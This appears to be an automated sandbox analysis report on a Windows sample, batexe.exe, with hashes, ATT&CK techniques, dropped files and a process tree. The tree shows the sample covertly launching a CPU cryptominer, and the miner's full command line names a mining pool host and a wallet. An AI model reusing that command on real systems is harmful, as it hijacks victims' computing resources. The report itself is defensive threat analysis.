73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
307s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
17/02/2024, 07:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
1436	b2e.exe
1824	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1824	cpuminer-sse2.exe
1824	cpuminer-sse2.exe
1824	cpuminer-sse2.exe
1824	cpuminer-sse2.exe
1824	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/708-1-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 708 wrote to memory of 1436	708	batexe.exe	85
PID 708 wrote to memory of 1436	708	batexe.exe	85
PID 708 wrote to memory of 1436	708	batexe.exe	85
PID 1436 wrote to memory of 4568	1436	b2e.exe	86
PID 1436 wrote to memory of 4568	1436	b2e.exe	86
PID 1436 wrote to memory of 4568	1436	b2e.exe	86
PID 4568 wrote to memory of 1824	4568	cmd.exe	89
PID 4568 wrote to memory of 1824	4568	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:708
- C:\Users\Admin\AppData\Local\Temp\3F27.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\3F27.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\3F27.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1436
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7589.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4568
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1824

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\3F27.tmp\b2e.exe

Filesize
4.7MB

MD5
a35ce7b0824a7f1e7cd9400e48206e7f

SHA1
d6fb5ff7e432da1240879e4d15954cf3983b155d

SHA256
e1796b677894070fe0422f1602d407d89bc4486e7c20a5151ad38f8972d07579

SHA512
fde83121d29220e1e35631bfa26e11d4fa0a9f7e50c104c1adccceabf2b3d4a677c62025205fa7184934329b7a5d2cf4c21747c284cbfe035d178c6d9490075b

Download Submit
C:\Users\Admin\AppData\Local\Temp\3F27.tmp\b2e.exe

Filesize
3.8MB

MD5
8782954c8b6aac082ecc8b96cb0fa380

SHA1
2fe2dfb712df083d04ef662151f7a323078cdbaf

SHA256
472a521487323090d233b2931089d485be932bb7b1df7cc096c8b498ff04a73b

SHA512
d8a809cff6a7fa2b0762724eabda592db73e20311c184937574671be8cdff033ed4b9886992aa225aa923449c5a5a7949bcd5194ac26972001b95349506beb31

Download Submit
C:\Users\Admin\AppData\Local\Temp\3F27.tmp\b2e.exe

Filesize
4.6MB

MD5
7d7868459691a2c328873b785a431e5c

SHA1
6c3ff9e0d21a95df0900c498d1bd6b29b6a780d9

SHA256
fc1461f288f8798085b382f92a49c1f41127d18a15ff96d5c772f58a34c032c5

SHA512
e6cd8ff58d9b05ea241678f213047b679b1df9787d5f3608015764a4bf3b46bfb6c76e6b6c7407cde0c1200d5c95720a602a857710b3fe615990f4cab5269b63

Download Submit
C:\Users\Admin\AppData\Local\Temp\7589.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
704KB

MD5
ce5f200d2d48a057722a957d5acc6426

SHA1
e7a8d4c0dc7b561dfa26e3fddaff015716187305

SHA256
cb450c8c0a952560f35f4b93f14357fc3856ee0b016eabf8bb4d20e9504d82df

SHA512
e7d3b203cc96d08b6d000f6845bbeb5777cd08babadbcb86266193ca68d8183973b3a92f5cf587df1f26bf04a182fa51001b7317c9a9e7ba868d1e26b897ee9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
732KB

MD5
07046b6ca28d7b1d36c8054e94e9a097

SHA1
76f615c2b700b3473415ebea663a0f0d544e2c1c

SHA256
2ccdd9eceb938ba68bffb61dfc699ac211cba954d1d1e455ef320b4c336db8f3

SHA512
500caf6ced59ccf66114af674c27a2a0b44197d33d2e3ad2a09be74079d65a7acdd6eca2f0ac10d2b636988552c70c781305f99ec26fc006d58ba3bbb04e0dcd

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
558KB

MD5
763704b90ec368e1a4c6553b7cd164d0

SHA1
411ba424f7627106fb754550551010cf7034bc34

SHA256
19323b173e37afef616b4c066e8bd5494c0f4c99d00c4dd191d9a35d745740c5

SHA512
b04ead7876cde2509f369721f2d75c23a7a0ec199fb82a1c4c1b9805c0c813ead0f312526b7abcfd510c09d32b58926ec186b604a8e52b8010a9327393af42af

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
419KB

MD5
4e522aa9f72f5a72931e5870eeccf63b

SHA1
05df555f5fca920ac58612857cbacb8c553678ed

SHA256
1cc24346599e0e47901e78250bab144cc4a6da779593dbe0a71fcfb591e421dc

SHA512
786b71b0305053dd5622c29c6976169b51153747215e798ab956173ee93694187eecb9c3daf9b1ea989fd60ce4d61645e7e13ba9fa2b402a7c4b1198511b46be

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
640KB

MD5
c3b7be6dddc3a198de4407cb54c1557f

SHA1
a940462362495fcc9d06f0b88b9dd8850e11639d

SHA256
89460a0f4113c03c6fba760bdaf02e8df6f92faeb8c5fd228472ef3324be603b

SHA512
371ea6fdd6a58ce3f0c3f3b53a8eb9bdd37edb248f85b11608ecf37845f70c6a39ec5cdc8cd73f36359e34220e87dfa7efcb74d8b1b3d86f606d99e83be04cfd

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
560KB

MD5
93be5c2c7e515bf6d0c79a9fb99c4e9f

SHA1
33662e1dbd6be617ac21db8375d5735daf44bbe0

SHA256
73f9a1b5a9db54681544e764d6b00f2e9324b52fd090e9a7bb631eb87fbfbb96

SHA512
5011772083c372c16d70ff53bd7888915f160fe77dcfb2253eb2a1165bef7ecb740ce15fc5691d7c8e449a49bb59a9aadb6f13825abe107469b006a1aa93d141

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.0MB

MD5
d481aa932c841b476eb94abcc1c9b580

SHA1
15845501d2a3e007247d980320a2db8081ed5734

SHA256
173d3d9e487b64ce6c2949fac6b1d192a260694955cc482e457362546d89e594

SHA512
5ee549e1baecc5beb612b09b3690d40cbd5bd5a5266637f0822bd558f63f3aeba23c22caf5fe42a48c51a79f1a49e465b4fd9e53a656ff1d278579e5b2b632a0

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
109KB

MD5
2d554538c011b996edd5756fef9abb26

SHA1
e4ef8de5fd2a1fdaafcbdad630bbee158aefa672

SHA256
5d3883c7cea1aab81ea63dde17295356d03562b7ce7aaba813d2fb55c4cb81ac

SHA512
a6b0c06caed34e8b0079420967e8e4848695a4ff1f100688ce14db5e7567721faa2820ee265a9113939266c2001cb1d80b3e8aa9be51a79efea696c16a74c03f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
119KB

MD5
212653464f0fe3bb0ff7ea12f0f32f95

SHA1
a631061b3962366b0d70be47005aba77ab3bcb4a

SHA256
95358b390d48ff5667f091623861c3e0bfbd61945477efcd4371361a8f5a4997

SHA512
55f18ea64c588c4697492cde21ebf88984805de4d42172f8042c5b84c3ee7245b34662132101c116b48371fb9d9a97ad0e139722ae57f8810f862b566d244e1a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
413KB

MD5
2706a70dce973eed18a55469fdea84ab

SHA1
bd98bb0000769afb8de6d6e8ef6b75c2ac201286

SHA256
0241a4bee39c7066bffc13d123804e0ce4166f8325d4690b014b96fa92cca57f

SHA512
2a543e91d73b793024e2d515e87f3b3ffc3a8a0e7b315add65fcf705f0611ef5f05eb464aa401b320675cce6fc055602eaee605c8f49217ba8f62b4cfdb5686a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/708-1-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/1436-54-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1436-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1824-46-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1824-47-0x0000000065FD0000-0x0000000066068000-memory.dmp

Filesize
608KB

Download
memory/1824-44-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1824-48-0x0000000001090000-0x0000000002945000-memory.dmp

Filesize
24.7MB

Download
memory/1824-49-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1824-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1824-55-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1824-60-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1824-65-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1824-75-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1824-80-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1824-90-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1824-95-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download